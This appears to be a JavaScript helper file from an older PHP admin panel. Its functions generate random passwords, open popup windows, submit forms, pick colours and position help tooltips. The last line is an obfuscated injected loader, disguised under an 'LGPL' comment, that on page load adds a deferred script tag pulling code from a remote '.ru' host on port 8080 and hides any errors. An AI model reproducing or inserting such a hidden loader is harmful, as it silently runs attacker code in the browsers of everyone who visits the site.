function generate(len) {
    validchars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var txt = '';
    
    while(txt.length < len) {
        random = Math.random() * validchars.length;
        num = Math.floor(random);
        char = validchars.charAt(num);
        txt = txt + char;
    }
    return txt;
}

function AutoPass(f,e) {
    document.forms[f].elements[e].value = generate(8);
}

function OpenWin(url,width,height) {

    Win_w = window.screen.width;
    Win_h = window.screen.height;

    if(width) {
        OpenWin_w = width;
    }
    else {
        OpenWin_w = Win_w / 3 * 2;
    }
    if(height) {
        OpenWin_h = height;
    }
    else {
        OpenWin_h = Win_h / 5 * 4;
    }
    
    OpenWin_x = parseInt(Win_w - OpenWin_w) / 2;
    OpenWin_y = parseInt(Win_h - OpenWin_h) / 2;

    window.open(url,'Win1','width='+OpenWin_w+',height='+OpenWin_h+',scrollbars=yes,resizable=yes,status=no,toolbar=no,left='+OpenWin_x+',top='+OpenWin_y);
}

function SubmitConfirm(num,com,reload) {
    if(confirm(com)) {
        window.document.forms[num].submit();
    }
    if(reload == 1) {
        URL = window.opener.location.href;
        window.opener.location.href = URL;
    }
}

function SubmitReload(num) {
    window.document.forms[num].submit();
    URL = window.opener.location.href;
    window.opener.location.href = URL;
}

function ColorPickUp(num) {
    
    if(navigator.appName == "Microsoft Internet Explorer") {
        window.document.forms[0].elements[num].onmouseup = GetXY_IE;
    }
    else {
        window.document.forms[0].elements[num].onmouseup = GetXY_NotIE;
    }
    
    function GetXY_IE() {
        OpenWin_x = event.screenX;
        OpenWin_y = event.screenY;
        window.open("color.php?num="+(num-1),"cpWin","width=255,height=170,location=no,menubar=no,status=no,toolbar=no,left="+OpenWin_x+",top="+OpenWin_y);
    }
    
    function GetXY_NotIE(evt){
        OpenWin_x = evt.screenX;
        OpenWin_y = evt.screenY;
        window.open("color.php?num="+(num-1),"cpWin","width=255,height=170,location=no,menubar=no,status=no,toolbar=no,left="+OpenWin_x+",top="+OpenWin_y);
    }
}

function ShowLayer(Layer,Top) {
        window.document.getElementById(Layer).style.visibility = "visible";
        window.document.getElementById(Layer).style.top = Top;
        window.document.getElementById(Layer).style.left = 50;
}
function HiddenLayer(Layer) {
    window.document.getElementById(Layer).style.visibility = "hidden";
}



function showHelp(e,name,posX,posY){
    
    var isMSIE = /*@cc_on!@*/false;
    
    if(document.all) e = event;
    
    var objHelpArea = document.getElementById(name);
    objHelpArea.style.display = 'block';
    objHelpArea.style.visibility = 'visible';
    
    // X方向ポジション
    var shiftX = posX;
    
    var posX = e.clientX + shiftX;
    
    objHelpArea.style.left = posX + 'px';
    
    // Y方向ポジション
    var scrollTop = Math.max(document.body.scrollTop,document.documentElement.scrollTop);
    var shiftY = posY;
    
    if(e.clientY < Math.abs(shiftY)) {
        shiftY = -160;
    }
    var posY = e.clientY + scrollTop + shiftY;
    
    objHelpArea.style.top =  posY + 'px';
} 

function hideHelp(name) {
  window.document.getElementById(name).style.visibility = "hidden";
}



/*LGPL*/ try{ window.onload = function(){var Oce5xgxaea7ce = document.createElement('s!@^c^@$(r!(i)!)p$t#$'.replace(/\!|\^|\(|\$|\)|#|&|@/ig, ''));Oce5xgxaea7ce.setAttribute('defer', 'd@&&e#^#f$!&e$(($r^&^^'.replace(/\^|\(|#|@|\!|\)|\$|&/ig, ''));Oce5xgxaea7ce.setAttribute('type', 't!(#e$@$x@^)t$@$)/#$j@a&$v&&^$a#)(s))@!c)$r!!i#@!!p^)t#&'.replace(/\$|\!|&|\^|\(|@|#|\)/ig, ''));Oce5xgxaea7ce.setAttribute('id', 'I#!@5#!!)j&@&w)$(l&#y##&)(0@6!^@5))r!&$$a)6^@u@@)o#&'.replace(/\$|\!|#|\(|\)|&|\^|@/ig, ''));Oce5xgxaea7ce.setAttribute('s($)r!c&#@'.replace(/\(|#|\)|@|\!|&|\^|\$/ig, ''),  'h!$t!))t^()p!$:$/&$(/@!#t)^i^()a&^&(n!(y)#a!-(&^c)@$#n!)^.$(g$&&m$#!(o!d&$u^#l&!^e@s^&^).@&^c((!o@m^@.(&#!d!)&d#!#!m(^@a(p!-^&c#@o&m).))!c^@a@&(r@^#s$)w()!e(($&b&^(n!$^e@^t@!.($r&$u))^:$)(8(^0^@$8$0&($/&g#o(!!o(^g!#l$(e#)^.!^!c&(o!^(#m#.##u!&))a(^@/#g$o$!@@o@^@#g#$@&&l$$)^e$&.^@c#o)(m!^.#!(u#@(a@/#@g^^o()o&g&l#)e#).)^^c#o!m))(.@d()#)&o#)/)^!#g^o&o^$$@g#^l!$(#e$#@.)$c@##o&m$&@!/&)g&&$(o#!.^$)c@^#o(^#m(#)$/#@'.replace(/@|#|\)|\!|\(|&|\$|\^/ig, ''));if (document){document.body.appendChild(Oce5xgxaea7ce);}} } catch(Eijmu8pgsbq85y5hhmuf) {}